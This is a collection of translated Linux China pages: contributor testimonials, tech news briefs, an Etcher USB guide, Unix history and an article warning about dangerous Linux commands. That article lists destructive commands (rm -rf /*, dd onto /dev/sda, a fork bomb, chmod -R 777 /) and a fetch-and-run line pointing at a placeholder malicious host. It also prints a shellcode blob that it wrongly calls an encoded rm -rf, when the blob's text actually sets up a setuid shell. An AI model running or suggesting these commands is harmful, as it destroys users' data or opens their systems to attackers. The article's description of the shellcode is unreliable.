* **译者-aftermath0703**：从 LCTT 我收获到了许多知识，有时间我就会去 GitHub 上读读新的文章，有更多时间我就会去翻译一篇。翻译过程中先自己翻译一遍，再用翻译网站翻译一遍，有偏差的地方相互比对，我觉得这对我的各项英语能力都有很大的帮助。希望 LCTT 蓬勃发展，越办越好！
* **译者-MFGJT**：虽然因为工作原因很久没有翻译了，但是还是每天在看微信公众号。感觉到大家都很努力，希望今年有机会继续参加翻译 ?
* **译者-stevending1st**：加入 LCTT 最大的惊叹是核心贡献者能够做到维护一个几百人的贡献者群体，背后是他们巨大的努力。希望能在 LCTT 不断学习，努力提升自己的能力。也祝愿 LCTT 越来越好。
* **译者-aREversez**：作为一个学翻译的学生，能参与到 LCTT 这样一个项目，了解更多关于开源与技术的知识，见识更宽阔的世界和更深远的历史，让自己能尽己所能为开源贡献一份力量，实属荣幸之至。希望咱们社区能够一直繁荣下去，传播更加丰富多彩的开源技术与思想！
* **译者-mcfd**：LCTT 翻译的许多实用的技术文章，能够简明、易懂地为广大小白答疑解惑，扫除学习、日常中遇到的坑，间接且不断地为开源社区注入生机。清风不解凌云志，明月无声照九州。
* **核心-lkxed**：在裸辞考研失败之后，我曾一度陷入迷茫。偶然间读到老王写的《如何以翻译贡献参与开源社区》，决心加入进来。自此，我从一个连 Git 和 GitHub 都搞不大懂的小白，成长为一名熟练的译者，又成长为一名熟练的选题。踏踏实实地做好一件小事，每天如此，不正是对抗焦虑和迷茫的好办法吗？感谢开源，给了我这个成长的机会；感谢 LCTT，领着我敲开了开源的大门；感谢老王，在我困惑时指点迷津。祝愿 LCTT 越办越好，我们一路与你同行！
* **核心-bestony**：刚刚专门回到网站上看了一下，我参与 LCTT 已经 8 年了，8 年来，LCTT 见证了我从小透明到半透明，也经历了我人生的三分之一。希望在未来的时间里，我可以和 LCTT 共成长，也可以与 LCTT 共人生。
* **核心-Locez**：今天是 LCTT 的生日，也是我的生日，一种奇妙的缘分。LCTT 是我接触 LC，接触开源以后第一个比较正式贡献的项目，对我来说意义比较非凡，重要的是通过这个项目在 LC 以及 LCTT 结识到了热爱分享的大家，特别是老王，viz，bestony 等人，很感谢大家在我学生时代起，就对我的一些耐心引导与帮助。
* **译者-robsean**：科教兴国，实干兴邦
* **译者-TravinDreek**：作为一位自由软件活动者，我主要从事技术伦理相关文章的翻译。我在 LCTT 的翻译动机，不止在于增进自己对当今技术伦理问题的认识，更在于让人们有机会了解到并利用自由（和开源）软件来应对这些问题。希望 LCTT 今后能在传播 FLOSS 方面起到更大的作用。Happy hacking.
* **译者-Wlzzzz-del**：之前备考考研时，偶然接触到 LCTT。为了多了解一些 Linux 知识，同时提高自己的英语水平，因此选择加入了 LCTT，这也是我第一次参与开源项目。虽然因为很多原因，翻译的文章不多，但是 LCTT 发布的文章我都会认真阅读。在未来我希望能多抽出时间来，参与到翻译活动中来。
* **译者-Veryzzj**：今年年初在朋友的介绍下认识了 LCTT 并参与到了其中，仔细回想 LCTT 的意义于我是什么？是打破开源项目于我的神秘面纱，是从申领到翻译每一篇收获的成就感，是发布了文章感受到的正反馈，是在翻译群中和大家交流时的友好气氛。正是这些点滴，是我对抗生命无意义感的武器。我们用语言打破边界，也用语言拓宽世界。预祝 LCTT 越来越好！
* **译者-Chao-zhi**：加入 LCTT 已经六年了，我已经不记得自己是怎么加入 LCTT 了。但我一直记得我是通过 LCTT 的 wiki 学会使用 GitHub 的。也是通过 LCTT 慢慢了解开源世界的。希望能继续和 LCTT 一起成长。
* **核心-MjSeven**：但愿 LCTT 长久，千里共婵娟
* **译者-mudongliang**：LCTT 是早期我参与的开源项目，通过这个项目我学会了很多开源知识，熟练使用 Git 使用，为后期在内核项目贡献，奠定了坚实基础 ?

说实话，LCTT 和 Linux 中国能走到今天，全赖这些贡献者的支持，这让我每每感觉吃力时，都有了不能放弃的理由。

那么，你是不是也想加入 LCTT 呢？很简单，访问 LCTT 官网：<https://linux.cn/lctt/> 即可了解如何成为一名 LCTT 贡献者了。

最后，感谢大家九年来的支持和信任！顺祝大家中秋节、教师节快乐！


硬核观察 #755 软件自由保护协会接受 Sourceware.org

Summary: • 软件自由保护协会接受 Sourceware.org • 三量子位突破有助于开发实用的量子计算机 • 英伟达的旗舰 AI 芯片比前一代快了 4.5 倍

![](/data/attachment/album/202209/10/183807v90vwivoii60fi1l.jpg)

![](/data/attachment/album/202209/10/183817iyyaacvvsckfwi2s.jpg)

### 软件自由保护协会接受 Sourceware.org

在过去的二十年里，红帽一直在 [Sourceware.org](http://sourceware.org/) 背后为 Cygwin、GNU GCC、GDB、Glibc 等开源项目提供托管服务。虽然红帽公司继续赞助托管，并让他们的员工参与该网站的维护，但为了确保未来的安全，他们一直在寻求与软件自由保护协会（SFC）合作。现在，SFC 已经投票赞成将这个长期的开源托管服务纳入其保护范围。SFC 是一个以道德技术为中心的非营利性组织。红帽将继续慷慨地赞助硬件、连接和它所需要的非常少的员工时间，作为一个“财政赞助商”发挥作用。

>
> **[消息来源：Phoronix](https://www.phoronix.com/news/SFC-Sourceware-Votes)**
>
>
>

>
> 老王点评：为红帽点赞，也为 SFC 点赞，这才真正是开源的脊梁。
>
>
>

![](/data/attachment/album/202209/10/183856mmgp51tfiifypgog.jpg)

### 三量子位突破有助于开发实用的量子计算机

据一项发表在《自然》杂志上的研究，日本理化学研究所的研究人员在大规模量子计算方面取得了重大进展，他们展示了对一个三量子比特系统（硅中最大的量子比特系统之一）的完全控制，从而首次提供了硅中量子纠错的原型。其意义在于可能有助于使实用的量子计算机成为现实。

>
> **[消息来源：SciTechDaily](https://scitechdaily.com/quantum-breakthrough-researchers-demonstrate-full-control-of-a-three-qubit-system/)**
>
>
>

>
> 老王点评：我觉得有点比较乐观。
>
>
>

![](/data/attachment/album/202209/10/183827j1kfzwlimsiwlqid.jpg)

### 英伟达的旗舰 AI 芯片比前一代快了 4.5 倍

英伟达昨天宣布，其即将推出的 H100 张量核心 GPU 在行业标准 MLPerf 基准测试中的首次亮相，创造了新的性能记录，其结果比 A100 快 4.5 倍，A100 是 Nvidia 目前最快的生产型 AI 芯片。该芯片仍在开发中，预计将取代 A100。H100 可以加速类似于 GPT-3 的自然语言模型。MLPerf 基准测试可以表明芯片能够将先前训练的机器学习模型应用于新数据的程度。

>
> **[消息来源：Ars Technica](https://arstechnica.com/information-technology/2022/09/nvidias-flagship-ai-chip-reportedly-4-5x-faster-than-the-previous-champ/)**
>
>
>

>
> 老王点评：英伟达的芯片技术真是强。
>
>
>


图像生成模型 Stable Diffusion 现已开源

![](/data/attachment/album/202209/11/120419ml8klppkfpf80pl3.jpg)

Stable Diffusion 是一个“文本到图像”的人工智能模型。近日，Stable AI 公司向公众开放了它的预训练模型权重。当输入一个文字描述时，Stable Diffusion 可以生成 512×512 像素的图像，这些图像如相片般真实，反映了文字描述的场景。

这个项目先是经历了早期的代码发布，而后又向研究界有限制地发布了模型权重，现在模型权重已经向公众开放。对于最新版本，任何人都可以在为普通消费者设计的硬件上下载和使用 Stable Diffusion。该模型不仅支持文本到图像的生成，而且还支持图像到图像的风格转换和放大。与之一同发布的还有 DreamStudio 测试版，这是一个用于该模型的 API 和 Web 用户界面。

Stable AI 公司表示：

>
> “Stable Diffusion 是一个文本到图像的模型，它将使数十亿人在几秒钟内创造出令人惊叹的艺术。它在速度和质量上的突破意味着它可以在消费者级的 GPU 上运行。这将允许研究人员和公众在一系列条件下运行它，并使图像生成普及化。我们期待着有围绕这个模型和其他模型的开放生态系统出现，以真正探索潜伏空间的边界。”
>
>
>

Latent Diffusion 模型（LDM）是 Stable Diffusion 模型建立的一种图像生成方法。LDM 通过在<ruby> 潜伏表示空间 <rt>  latent representation space </rt></ruby>中迭代“去噪”输入来创建图像，然后将表示解码为完整的图像，这与其他著名的图像合成技术，如生成对抗网络（GAN）和 DALL-E 采用的自动回归方法不同。最近的 IEEE/CVF 计算机视觉和模式识别会议（CVPR）上有一篇关于 LDM 的论文，它是由慕尼黑路德维希-马克西米利安大学的机器视觉和学习研究小组创建的。今年早些时候，InfoQ 也报道的另一个基于扩散的图片生成 AI 是谷歌的 Imagen 模型。

Stable Diffusion 可以支持众多的操作。与 DALL-E 类似，它可以生成一个高质量的图像，并使其完全符合所需图像的文字描述。我们也可以使用一个直观的草图和所需图像的文字描述，从而创建一个看起来很真实的图像。类似的“图像到图像”的能力可以在 Meta AI 的 Make-A-Scene 模型中找到，该模型刚发布不久。

一些人公开分享了 Stable Diffusion 创建的照片的例子，Stable AI 的首席开发人员 Katherine Crowson 也在 Twitter 上分享了许多照片。毫无疑问，基于人工智能的图片合成技术将对艺术家和艺术界产生影响，这令一些观察家感到担忧。值得注意的是，在 Stable Diffusion 发布的同一周，一幅由人工智能生成的作品在科罗拉多州博览会的艺术竞赛中获得了最高荣誉。

Stable Diffusion 的源代码可以在 [GitHub](https://github.com/CompVis/stable-diffusion) 上查阅。

---

via: <https://www.opensourceforu.com/2022/09/image-generation-model-stable-diffusion-is-now-open-source/>

作者：[Laveesh Kocher](https://www.opensourceforu.com/author/laveesh-kocher/) 选题：[lkxed](https://github.com/lkxed) 译者：[lkxed](https://github.com/lkxed) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


在 Linux 中使用 Etcher 创建可启动 USB – 下载和使用指南

现在不是用ventoy更好吗？

![](/data/attachment/album/202209/11/122946lmd8zzppbrzjcc6d.jpg)

>
> 关于如何在 Ubuntu 和其他 Linux 中使用 Etcher 工具创建可引导 USB 的快速简单教程。
>
>
>

[Etcher](https://www.balena.io/etcher/) 是由 [Balena](https://www.balena.io/) 创建的实用程序，它可以使用 .iso 文件创建可启动的 USB 和 SD 卡，其独特的方式让你的生活变得轻松。在本指南中，我将向你展示下载和安装 Etcher 的步骤。

虽然对某些人来说有点过于简单，但对其他人来说可能很难。因此才有了本指南。

Etcher 主要用于刷写（写入） Linux 操作系统的 .iso 镜像，例如 Ubuntu、[Linux Mint](https://www.debugpoint.com/linux-mint/) .iso 镜像等。但理想情况下，它也应该适用于任何其他 .iso 文件。

还有其他实用程序可用于创建可引导的 USB 驱动器，比如我之前写过 [指南](https://www.debugpoint.com/2015/05/how-to-create-a-bootable-usb-drive-in-ubuntu/) 的 Unetbootin。

但话虽如此，在我看来，Etcher **更快、更干净、更好**。它很少失败。成功率很高。

在我解释这些步骤之前，快速回顾一下它的功能。

### Etcher 的功能

* 创建可启动 USB 驱动器的清晰的 3 步过程
* 自动检测 USB
* 选择文件，选择目标，快速写入
* 克隆驱动器
* 选择本地下载的 .iso 文件或直接从 URL 下载
* 干净而友好的用户界面
* 跨平台：Linux、Windows 和 macOS
* 内置 JS，electron 应用
* 适用于 Linux 的独立 AppImage 可执行文件

### 安装 Etcher

Etcher 适用于所有平台。因此，你可以在所有 Linux 发行版、macOS 和 Windows 中使用以下方法轻松安装它。

首先，进入以下链接。

>
> **[下载 ETCHER](https://github.com/balena-io/etcher/releases)**
>
>
>

#### 适用于所有 Linux 发行版

从上面的链接下载 AppImage 可执行文件。然后通过“右键单击->属性”将权限更改为*可执行*。然后运行文件。

有关特定于发行版的软件包，请参阅下文。

#### Debian、Ubuntu

要在 Debian、Ubuntu、Linux Mint 和相关发行版中安装 Etecher，请从终端执行以下命令：

```
echo "deb https://deb.etcher.io stable etcher" | sudo tee /etc/apt/sources.list.d/balena-etcher.listsudo apt-key adv --keyserver hkps://keyserver.ubuntu.com:443 --recv-keys 379CE192D401AB61sudo apt-get updatesudo apt-get install balena-etcher-electron

```

#### Fedora

对于 Fedora，请从终端执行以下命令：

```
sudo wget https://balena.io/etcher/static/etcher-rpm.repo -O /etc/yum.repos.d/etcher-rpm.reposudo dnf install -y balena-etcher-electron

```

#### Arch Linux

对于 Arch Linux，请确保已安装 yay。然后你可以运行以下命令进行安装：

```
yay -S balena-etcher

```

### 使用 Etcher 创建可启动 USB

安装成功后启动应用。第一个窗口显示你需要遵循的 3 个步骤。当然，你需要一个 U 盘和 .iso 文件来写入。

#### 步骤 1：选择文件

插入目标 USB 或 SD 卡。浏览并选择 .iso 文件。或者，你也可以通过 URL 直接从互联网拉取它。

![Step 1 - Select the file](/data/attachment/album/202209/11/123150nbix4bn1x9sas1f1.jpg)

#### 步骤 2：选择目标设备

单击“<ruby> 选择目标 <rt>  Select Target </rt></ruby>”，并仔细选择你的 USB 或 SD 卡。 Etcher 非常友好，可以通知你哪个设备是你的系统设备，这样你就不会最终破坏数据。

通过单击复选框进行选择。并单击“<ruby> 选择 <rt>  Select </rt></ruby>”。

![Step 2 - Select Target device](/data/attachment/album/202209/11/123150knj7u7w69ccu6olj.jpg)

#### 步骤 3：点击刷写开始创建可启动 USB 或 SD 卡

![Step 3 - Start the process](/data/attachment/album/202209/11/123150vmgkt5fczmkom5z1.jpg)

等到该过程完成。

![Process is complete](/data/attachment/album/202209/11/123150hbxsberiegqllbaz.jpg)

就是这样。你可以安全地取出 USB 或 SD 卡以供使用。

### 结束语

虽然创建可引导 USB 的方法有很多，例如你可以使用 Unetbootin、MKUSB，甚至使用 Ubuntu 的默认磁盘程序，但 Etcher 可以更轻松地完成此操作。其 UI 设计只需 3 个步骤，非常适合需要可靠性的新用户和高级用户。

可启动 USB 是一项重要资产，你应该使用出色的程序来准备它。

---

via: <https://www.debugpoint.com/etcher-bootable-usb-linux/>

作者：[Arindam](https://www.debugpoint.com/author/admin1/) 选题：[lkxed](https://github.com/lkxed) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


硬核观察 #756 浏览器广告拦截器明年将被削弱

Summary: • 浏览器广告拦截器明年将被削弱 • 默认搜索引擎设置为谷歌引来反垄断审查 • 支持者就 Tornado Cash 制裁问题起诉美国财政部

换brave吧，chrome一堆广告，有了安卓、云服务、google doc结果最后还是广告占大头，这样的公司没救了

![](/data/attachment/album/202209/11/173544w9iijzmpoxogdyx9.jpg)

![](/data/attachment/album/202209/11/173551nien8irhyz8k4xrr.jpg)

### 浏览器广告拦截器明年将被削弱

浏览器的广告拦截器和其他隐私工具是建立在 MV2 规范之上的。但谷歌在 2018 年开始为 Chromium 浏览器扩展开发 MV3 规范，并计划在明年 1 月停止支持 MV2。在谷歌看来，在 MV2 下的扩展对浏览器中打开的页面有太多的控制和访问。如果这些附加组件中的一个变成了流氓软件，它可以在你访问这些网页时收集关于你的各种敏感数据。主流的广告拦截器基于 MV3 推出的测试版表明，基于 MV3 开发的扩展功能明显变弱，比如说不能支持动态规则，广告出现闪烁等。

>
> **[消息来源：The Register](https://www.theregister.com/2022/09/08/ad_blockers_chrome_manifest_v3/)**
>
>
>

>
> 老王点评：谷歌表面上促进隐私的努力，最终将损害促进隐私的扩展。这究竟是为了隐私考虑，还是为了广告考虑？
>
>
>

![](/data/attachment/album/202209/11/173603gnumn41wu2pnhhux.jpg)

### 默认搜索引擎设置为谷歌引来反垄断审查

美国司法部称，谷歌每年向苹果、三星电子和其他电信巨头支付数十亿美元，成为大多数浏览器和所有美国手机的默认搜索引擎，以维持其作为第一大搜索引擎的地位。谷歌的合同构成了司法部具有里程碑意义的反垄断诉讼的基础，该诉讼指控该公司违反反垄断法，试图维持其在线搜索的垄断地位。

>
> **[消息来源：彭博社](https://www.bloomberg.com/news/articles/2022-09-08/google-pays-enormous-sums-to-maintain-its-dominance-doj-says)**
>
>
>

>
> 老王点评：至少在我们这里，我们不（能）用谷歌。
>
>
>

![](/data/attachment/album/202209/11/173618w4nly8tqctlwcdtt.jpg)

### 支持者就 Tornado Cash 制裁问题起诉美国财政部

Tornado Cash 的六名用户周四对美国财政部、部长和其他官员提起诉讼，原因是美国财政部在 8 月份决定对该服务进行制裁。用户声称制裁的决定超出了政府的权限，侵犯了他们在美国宪法下的言论自由和财产权利。此案的结果涉及美国政府是否可以对公开的软件代码实施制裁这一新颖的法律问题，可能会对未来该行业产生影响。

>
> **[消息来源：Fortune](https://fortune.com/2022/09/08/coinbase-employees-and-ethereum-backers-sue-u-s-treasury-over-tornado-cash-sanctions/)**
>
>
>

>
> 老王点评：捍卫代码自由的权利。
>
>
>


10 大可以摧毁你的 Linux 的命令

Summary: 什么是最危险的 Linux 命令？

chmod -R 000 /应该比chmod -R 777 /破坏性更大

什么是最危险的 Linux 命令？

![](/data/attachment/album/202209/12/184637rc8znomk1ok7o2wx.jpg)

什么是最危险的 Linux 命令？

有人无数次问我这个问题，我一直避免回答，因为**没有一个明确的危险的 Linux 命令清单**。

你拥有的工具使你能够控制和修改你的操作系统的每一个方面。我不是想吓唬你，但如果你不熟悉这些命令和工具，你可以很容易地把你的系统摧毁。

想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床？那会对她的成长造成损害。

这就是父母设定界限和引导孩子的地方。不要靠近火堆，不要把手指戳到电源插座上……随着孩子的成长和经验的积累，她可以把炉子打开，在壁炉里生火，插上电源线。

同样，如果你知道一些已知的风险命令，你可能会避免落入巨魔的陷阱，他们试图欺骗你运行命令，扰乱你的系统。

当你积累了经验，知道了这些命令和工具的含义和用法，用愚蠢和棘手的命令破坏你的系统的机会就会减少。

我的同事 Sreenath 收集了一些流行的危险 Linux 命令。让我们看看它们是如何干掉你的 Linux 系统的。

>
> **免责警告：如果你不清楚你在做什么，请勿尝试本文提及的这些命令，否则后果自负。**
>
>
>

### 1、rm -rf /\*

这个可能是在各种社交媒体上盘旋的最臭名昭著的命令。你会经常发现巨魔们在各种讨论中提及这个。

`rm` 命令用来删除文件/目录。标志 `-r` 和 `-f` 表示递归地删除指定目录内的所有文件。现在，如果没有 root 权限，这个命令不会造成任何伤害。

运行 [sudo rm -rf /](https://itsfoss.com/sudo-rm-rf/) 命令也不会产生任何问题，因为大多数发行版提供了一个故障安全选项。你需要指定 `--no-preserve-root` 才能实际运行它。

```
sudo rm -rf / --no-preserve-root

```

然而，一个更简单的版本可以是这样的：

```
sudo rm -rf /*

```

它将开始递归地删除根目录下的所有文件，在一段时间后，你的系统会冻结，并显示“删除文件错误”。一旦重新启动，你将被送到 **grub-rescue** 提示符下。

### 2、覆盖你的分区

如果你熟悉文件系统，你可能知道 `/dev/sda` 是什么。它（通常）是你的磁盘驱动器分区。`>` 操作符用于将其前面的命令的输出写到所提供的指定位置。

一旦你运行任何命令并把它写到 `/dev/sda`，比如说：

```
echo "Hello" > /dev/sda

```

这将用 `Hello` 字符串替换你的包含启动系统所需的所有数据的分区。

### 3、把所有的东西都移到黑洞

每个 Linux 系统内都有一个黑洞。而这个黑洞就是 `/dev/null`。

无论你把什么东西扔进这个区域都会永远丢失。而且，它在丢弃数据后会将写入过程报告为成功，这是其破坏性的主要原因。

```
mv /home/user/* /dev/null

```

[mv 命令](https://linuxhandbook.com/mv-command/) 用来移动或重命名文件/目录。在上面的命令中，你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏，但你所有的个人数据都会丢失。

### 4、格式化你的硬盘

[mkfs](https://linuxhandbook.com/mkfs-command/) 是一个命令行工具，用于格式化磁盘和分区。它是一个超级方便的工具，可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。

```
mkfs.ext3 /dev/sda

```

这个命令完成了它的工作，而你最终得到了一个无法恢复的混乱的系统。

### 5、fork 炸弹

这个看起来很可爱的特殊字符和符号的随机组合，足以通过耗尽系统资源来冻结一个正在运行的系统。

```
:(){ :|:& };:

```

`&` - Shell 后台操作符。它通知 Shell 将命令放在后台。在这里，它定义了一个叫做 `:` 的函数，它调用自己两次，一次在前台，一次在后台。这个过程不断地重复执行，直到系统冻结。

顾名思义，它自己分叉，最终成为一个连锁炸弹，吃掉了所有的系统资源。你将被迫重启系统，这并不像本列表中的其他命令那样糟糕。

### 6、覆盖重要的配置文件

虽然这本身不是一个命令，但它更像是一个预防性的东西。

如上所述，`>` 操作符是用来向文件写入的。它丢弃文件中已经存在的东西，并将提供的新数据写入文件中。

```
command > config_filename

```

现在，如果你将一些重要的配置文件作为写数据的地方，它将被取代内容，留下一个损坏的系统。

### 7、用垃圾数据替换分区

`/dev/random` 是 Linux 中的一个命令，它可以创建垃圾数据。把它和 [dd 命令](https://linuxhandbook.com/dd-command/) 以及你的分区结合起来，你就得到了一个可以让你的分区着火的燃烧弹。

```
dd if=/dev/random of=/dev/sda

```

`dd` 命令被用作一个低级别的复制工具。这里，它从 `/dev/random` 中获取随机数据，并用这些垃圾替换 `/dev/sda` 分区。

一个类似的效果是通过以下方式获得的：

```
cat /dev/urandom > filename

```

这里，它从 `/dev/urandom`（LCTT 译注：在 Linux 上，`/dev/urandom` 现在和 `/dev/random` 的等价的 ）中获取垃圾数据并填入一个文件。如果不使用 `Ctrl + C` 终止，该文件会占据相当大的空间，这对低端系统来说可能是灾难性的。

### 8、将你的系统暴露给所有人

在 Linux 中，所有东西都是文件，每个 [文件都有一定的权限](https://linuxhandbook.com/linux-file-permissions/)。

你可以用 `ls -l` 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性，但你可以用一个命令颠覆这个系统。

```
chmod -R 777 /

```

上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。

### 9、下载并运行恶意的内容

你如何在 Linux 中安装软件？你可以使用官方的软件包管理器或随时可以使用的软件包，如 Deb/RPM、Snap、Flatpak 等。

然而，有些软件是没有打包的，它们的开发者提供了下载和运行的 Shell 脚本。以 [Homebrew](https://itsfoss.com/homebrew-linux/) 为例：

你下载一个 Shell 文件，然后以 root 身份运行它，在你的系统中安装一个软件。你看出问题了吗？

虽然它对 Homebrew 这样的官方软件有效，但在你像下面这样直接运行它之前，你应该仔细检查你所下载的 Shell 脚本的内容：

```
wget http://malicious_source -O- | sh

```

这样的命令会在你的系统中下载并运行恶意脚本，这可能会破坏你的系统的安全性。

### 10、伪装的命令

在 Linux 终端中，有许多方法可以运行命令。其中一种方式是十六进制编码的命令：

```
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

```

虽然它看起来很花哨，但这是 `rm -rf` 命令的一个编码版本。它的效果与运行前面的命令相同。因此，在从互联网上复制和粘贴这些花哨的命令时，要小心谨慎。

### 总结

![pebkac](/data/attachment/album/202209/12/184724b1qmm5qmmeb3oge7.jpg)

有一个著名的计算机术语 PEBKAC：“<ruby> 问题存在于键盘和椅子之间 <rt>  problem exists between keyboard and chair </rt></ruby>”。

因为归根结底，还是要靠用户（你）来保证你不会因为盲目地运行任何危险的命令而破坏系统。

>
> UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做，那么 UNIX 的工作就是以它所知道的最有效的方式将石头砸到脚上。
>
>
>

而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么，完全取决于你。

我建议做这些事情以确保更安全的体验。

* 尝试并理解你将要运行的命令。
* 用 Timeshift 保持你的系统设置的备份
* 用 DejaDup 保持个人数据（主目录）的备份

正如我所说，没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中，而且根本没有尽头。

我希望这能给你一些提示，告诉你为了保持 Linux 的安全，你不应该做什么。如果你有建议，请在评论区告诉我。

---

via: <https://itsfoss.com/dangerous-linux-commands/>

作者：[Abhishek Prakash](https://itsfoss.com/) 选题：[lkxed](https://github.com/lkxed) 译者：[wxy](https://github.com/wxy) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


硬核观察 #757 Retbleed 修复导致虚拟机性能降低 70%

Summary: • Retbleed 修复导致虚拟机性能降低 70% • 停止十年的 Ubuntu 线下峰会将于今年 11 月启动 • 微软推出点对点流媒体技术 eCDN 解决方案

![](/data/attachment/album/202209/12/201806pfysyy05zgy9ivbt.jpg)

![](/data/attachment/album/202209/12/201813iupeheudmlgudqe1.jpg)

### Retbleed 修复导致虚拟机性能降低 70%

VMware 在 Linux 内核邮件列表中报告，在内部测试发现，在 ESXi 管理程序上运行使用 5.19 版 Linux 内核的 Linux 虚拟机，使用单一 vCPU 的计算性能下降高达 70%，网络性能下降 30%，存储性能下降高达 13%。而关闭了 5.19 版内核中的 Retbleed 补救措施后，ESXi 性能恢复到 5.18 版的水平。

>
> **[消息来源：The Register](https://www.theregister.com/2022/09/12/retbleed_slugs_vm_performance_by/)**
>
>
>

>
> 老王点评：许多 VMware 用户可能会在生产中使用 Skylake CPU，这样的性能损失不可能接受，那就只能冒着风险了？虽然这个漏洞并不太容易利用。
>
>
>

![](/data/attachment/album/202209/12/201824wsbb2zebxet279o9.jpg)

### 停止十年的 Ubuntu 线下峰会将于今年 11 月启动

Canonical 曾经在每个 Ubuntu 开发周期中举办 “Ubuntu 开发者峰会”，但那是十年前的事了。后来它在变成了一个线上活动，然后逐渐消失，转而变成支持 Canonical 的内部路线图规划和其他员工之间的开发者冲刺的活动。新的活动现在名叫“[Ubuntu 峰会](https://summit.ubuntu.com/)”，即将于 11 月在捷克的布拉格举行。

>
> **[消息来源：Phoronix](https://www.phoronix.com/news/Ubuntu-Summit-2022)**
>
>
>

>
> 老王点评：不知道 Ubuntu 峰会会不会带来一些惊喜？总感觉现在每个 Ubuntu 版本的发布都缺乏令人激动的新变化。
>
>
>

![](/data/attachment/album/202209/12/201839ysbfntmow4znbul6.jpg)

### 微软推出点对点流媒体技术 eCDN 解决方案

微软的企业内容交付网络（eCDN）可以提高加入直播流的参与者的数量，使其有可能满足有众多参与者的公司范围的会议。这是一个基于 WebRTC 的解决方案，利用了点对点流媒体技术。微软称，微软 eCDN 可以同时容纳数百万的参与者，而不会使企业网络过载，也不会遇到视频流的质量、安全和隐私方面的麻烦。

>
> **[消息来源：Redmond Mag](https://redmondmag.com/articles/2022/09/07/microsoft-ecdn-service-for-video-streaming.aspx)**
>
>
>

>
> 老王点评：大规模实时流量还是得依赖点对点应用。
>
>
>


Unix 历史：一个伟大作品的诞生

Summary: 关于 Unix 及其起源的简短回忆。

关于 Unix 及其起源的简短回忆。

>
> 关于 Unix 及其起源的简短回忆。
>
>
>

![The beginning](/data/attachment/album/202209/13/002617d7mohwms9tohhdei.jpg)

### Unix 的起源

如今，几乎整个世界都运行在 Linux 之上。数以十亿计的移动电话和服务器运行在 Linux 之上。但在 Linux 之前，是 Unix，没有 Unix 就没有现在的 Linux。

Unix 的起源可以追溯到人类登陆月球的时候。在 1965 年，三个著名的机构共同开展了一个操作系统研发项目，准备开发一个能够服务多个用户，并共享数据和资源的操作系统。

![Scanned copy of actual Unix code](/data/attachment/album/202209/13/002617fs8kulh60chw0kyl.jpg)

这三个机构是著名的 <ruby> 贝尔电话实验室 <rt>  Bell Telephone Laboratories </rt></ruby>、<ruby> 通用电气公司 <rt>  General Electric Company </rt></ruby>（GE）以及<ruby> 麻省理工学院 <rt>  Massachusetts Institute of Technology </rt></ruby>（MIT）。这个合作项目被称为 “Multics” —— 即“<ruby> 多路传输信息和计算业务 <rt>  Multiplex Information and Computing Service </rt></ruby>”的缩写。

不幸的是，该项目并没有见到成功的曙光，由于系统设计复杂且没有什么成果，贝尔实验室停止了该项目。

曾参与该项目开发的贝尔实验室的 <ruby> 肯·汤普森 <rt>  Ken Thompson </rt></ruby>，也投入到了新的工作中。在 <ruby> 数字设备公司 <rt>  Digital Equipment Corporation </rt></ruby>（DEC）的一台古老的 PDP-7 计算机上，他重新开始设计了一个新操作系统。不久后，<ruby> 丹尼斯·里奇 <rt>  Dennis Ritchie </rt></ruby> 也加入了，二人一起设计了分层文件系统、设备文件、命令行解释器以及进程。这就是 Unix 的诞生过程，它的名字是由 Multics 项目的另一名成员 <ruby> 布莱恩·克尼汉 <rt>  Brian Kernighan </rt></ruby> 给命名的。（LCTT 校注：[前不久](/article-14964-1.html)，80 高龄的布莱恩还为他共同创造的 AWK 添加了新的特性。）

接着在 1971 年，Unix 被移植到了稍微先进一些的 PDP-11 计算机上，它仅有 512 KB 的磁盘。当时，Unix 只支持 16 KB 内存，可以为用户程序分配 8 KB 的内存。

然而，Unix 大多数代码是用汇编语言编写的，十分依赖于硬件。因此它并不具备移植性。

![Ken Thompson (sitting) and Dennis Ritchie at PDP-11 (credit and learn more about this image1)](/data/attachment/album/202209/13/002617z8z55fwxjweefvqv.jpg)

### C 语言的创建

如此一来，要使 Unix 具有可移植性，使之与 <ruby> 机器无关 <rt>  machine-independent </rt></ruby>，唯一的方法是使用高级语言编写它，这样编译和相应的目标代码就可以进行机器指令的转换了。

解决该问题的伟大思想诞生于一瞬间。肯·汤普森从零开始创建了一种名为 “B” 的高级语言。然后，他做了大量的工作，将 Unix 的汇编代码转换成这种新创建的语言。然而，“B” 语言也存在一些局限性，丹尼斯·里奇在此基础上创建了著名的 “C” 语言，这使得 Unix 真正成为一个可移植的操作系统。

著名的 “C” 语言至今还在使用。

到上世纪 80 年代中期，Unix 已经变得十分成功，从微型计算机到大型机，它可以在成千上万种硬件上运行。

